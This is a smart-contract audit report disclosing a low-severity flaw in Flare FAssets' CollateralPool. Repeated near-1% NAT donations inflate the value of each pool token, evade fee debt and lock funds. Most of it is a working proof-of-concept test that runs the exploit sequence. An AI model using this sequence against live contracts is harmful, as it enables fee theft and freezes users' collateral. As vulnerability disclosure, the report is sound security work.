#47010 [SC-Low] `CollateralPool::donateNat` manipulation enables arbitrary pool‐token value inflation and fee‐debt evasion
Submitted on Jun 7th 2025 at 20:17:14 UTC by @NHristov for Audit Comp | Flare | FAssets
Report ID: #47010
Report Type: Smart Contract
Report severity: Low
Target: https://github.com/flare-foundation/fassets/blob/main/contracts/assetManager/implementation/CollateralPool.sol
Impacts:
Theft of unclaimed yield
Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Description
Brief/Intro
In CollateralPool::enter
, new pool‐tokens are minted in proportion to
tokenShare ≃ poolTokenSupply × (depositNat / poolNatBalance)
Yet CollateralPool::donateNat
lets anyone add up to ≈1% of the current poolNatBalance
without minting tokens. By repeatedly donating just under that 1% cap, an attacker can inflate poolNatBalance
while leaving poolTokenSupply
fixed, so that
1 poolToken → poolNatBalance / poolTokenSupply
grows arbitrarily large. A single token can end up “worth” millions of NAT, breaking the economic invariants of the pool.
Vulnerability Details
The core of the issue is that CollateralPool::donateNat
does not mint any pool tokens while new pool tokens are minted in CollateralPool::enter
in proportion to the amount of NAT deposited, but the pool's NAT balance can be inflated without minting any new tokens. This means that the value of a single pool token can be manipulated by repeatedly donating just under the 1% cap.
For example attack can be executes as follows based on the ratio depositNat / poolNatBalance
.
By repeatedly calling donateNat() with up to ~1% of the current
poolNatBalance
, an attacker can inflate poolNatBalance without increasing poolTokenSupply. Each donation multiplies the collateral base by ~1.01×, and after N donations:
poolNatBalance_final ≃ poolNatBalance_initial × 1.01^N
poolTokenSupply remains fixed
so that
1 poolToken → poolNatBalance_final / poolTokenSupply
grows exponentially. Once the ratio is enormous, an attacker can:
Exit 99% of their tokens (leaving ≥1 token) via
exit(tokens * 99/100)
and burns nearly all tokens, reducing poolTokenSupply to ~1–2, but leavestotalCollateral
huge.Redeem fees for “free”:
After the manipulation loop, fAssetFeeDebtOf(attacker)==0, so calling enter(0, true) with a tiny deposit mints collateral-pool tokens at the inflated ratio, evading any owed f-asset fees.
That final 1 token now represents millions of NAT, which can never be withdrawn (exit requires ≥1 token after exit), locking enormous funds.
Impact Details
The last locked token in the pool can be worth millions of NAT, which can never be withdrawn.
The attacker can redeem fees for “free” by entering the pool with a tiny deposit after inflating the pool's NAT balance.
The economic invariants of the pool are broken, allowing for manipulation of the value of pool tokens.
References
Proof of Concept
Proof Of Concept
The following unit test demonstrates the exploit:
To run the test paste the code in the CollateralPool.ts unit test file and execute it
it("total collateral to pool tokens could be manipulated such way that one pool token is worth too much", async () => {
// reduce ratio
// since we need at least one more than 100e18 collateral to be able to donate the pool
await collateralPool.enter(0, true, { value: ETH(101) });
const tokens = await collateralPoolToken.debtFreeBalanceOf(accounts[0]);
assertEqualBN(tokens, ETH(101));
const tokenSupply = await collateralPoolToken.totalSupply();
assertEqualBN(tokenSupply, ETH(101));
const collateral = await wNat.balanceOf(collateralPool.address);
assertEqualBN(collateral, ETH(101));
// and there are 101 pool tokens right now to make the ratio worse
// we can first donate so many token so that we reach a ratio of at least 1 pool token to : 100 nat tokens
// after this we can substract from 99% of the pool tokens (which are currently 101)
// so that the remaining pool tokens are more than the min constant
// and then we execute the donation again
// NOTE: this could be done even in more efficient way
// donate wnat tokens
// on each iteration we will donate the maximum amount which is 1%
var currentCollateralSupply = await collateralPool.totalCollateral();
const initialSupply = currentCollateralSupply;
for (let i = 0; i < 700; i++) {
//get one percent of the current token supply
const onePercentOfCurrentTokenSupply = currentCollateralSupply.divn(100).subn(10);
// donate one percent of the current token supply
await collateralPool.donateNat({ value: onePercentOfCurrentTokenSupply });
// add to the current total supply
currentCollateralSupply = currentCollateralSupply.add(onePercentOfCurrentTokenSupply);
}
currentCollateralSupply = await collateralPool.totalCollateral();
console.log(`donated supply: ${currentCollateralSupply.sub(initialSupply).toString()}`);
console.log(`current collateral supply: ${currentCollateralSupply.toString()}`);
const beforePoolTotalSupply = await collateralPoolToken.totalSupply();
console.log(`before exit pool total supply: ${beforePoolTotalSupply.toString()}`);
const tmpTokens = await collateralPoolToken.debtFreeBalanceOf(accounts[0]);
const receipt = await collateralPool.exit(tmpTokens.muln(99).divn(100), TokenExitType.MINIMIZE_FEE_DEBT);
//we need to maintain at least 100 collateral tokens
currentCollateralSupply = await collateralPool.totalCollateral();
console.log(`after exit current collateral supply: ${currentCollateralSupply.toString()}`);
assert.isTrue(currentCollateralSupply.gte(ETH(100)), "current collateral supply is less than 100");
const afterPoolTotalSupply = await collateralPoolToken.totalSupply();
console.log(`after exit pool total supply: ${afterPoolTotalSupply.toString()}`);
// assert that the pool token supply is less between 1 and 2
assert.isTrue(afterPoolTotalSupply.gte(ETH(1)) && afterPoolTotalSupply.lte(ETH(2)), "pool token supply is not reduced enough");
// currentRatio
// the currentratio here is 1:1059
// so one pool token is worth 1059 nat tokens
const afterFirstIterationRatio = currentCollateralSupply.div(afterPoolTotalSupply);
console.log(`after first iteration ratio: ${afterFirstIterationRatio.toString()}`);
currentCollateralSupply = await collateralPool.totalCollateral();
for (let i = 0; i < 700; i++) {
//get one percent of the current token supply
const onePercentOfCurrentTokenSupply = currentCollateralSupply.divn(100).subn(10);
// donate one percent of the current token supply
await collateralPool.donateNat({ value: onePercentOfCurrentTokenSupply });
// add to the current total supply
currentCollateralSupply = currentCollateralSupply.add(onePercentOfCurrentTokenSupply);
}
// after the second iteration we have 1:1121820
// so one pool token is worth 1121820 nat tokens
currentCollateralSupply = await collateralPool.totalCollateral();
var afterSecondIterationRatio = currentCollateralSupply.div(afterPoolTotalSupply);
console.log(`after second iteration ratio: ${afterSecondIterationRatio.toString()}`);
//the amount of collateral here is
// 1133038505974674431517232 or 1133038e18
// which in flare tokens right now is 11 330 USD
console.log(`after second iteration collateral: ${currentCollateralSupply.toString()}`);
//we will add some fasset tokens
//the decimals of the fxrp is 6, so big value of xrp could be fine
//however if we take for example XBTC with 8 decimals, and the fees are 0.1 BTC
//which right now is around 10_000 USD
//a malicious user could enter the pool with the smallest amount of 1e18 native
//and since the ratio of newly minted token share will be small (e.g. for 1 collateral 1 * 10^10/11 will be minted)
// the fassetshare ratio will be 0 even tho there are virtual fees in the pool
// we will give the max amount of fees right now that can give us 0 fasset shares
//
await givePoolFAssetFees(new BN(1_000_000));
// there are fassets in the pool, we set that we want to enter with paying our debt
// however if there are fees we would expect revert because we haven't allowed the transaction
// and so we successfully can enter the pool and steal the fees by entering with small collateral
await collateralPool.enter(0, true, { value: ETH(1), from: accounts[9] });
const newTokens = await collateralPoolToken.debtFreeBalanceOf(accounts[0]);
const feeDebt = await collateralPool.fAssetFeeDebtOf(accounts[9]);
assertEqualBN(feeDebt, ETH(0), "fee debt should be zero, as we entered with no f-assets");
//another very big issue here is that we can't withdraw the last pool token
// and in our case it is equal to 1_121_820 flare so around 1_121_820 * 0.018 USD will stay frozen in the pool
});
Was this helpful?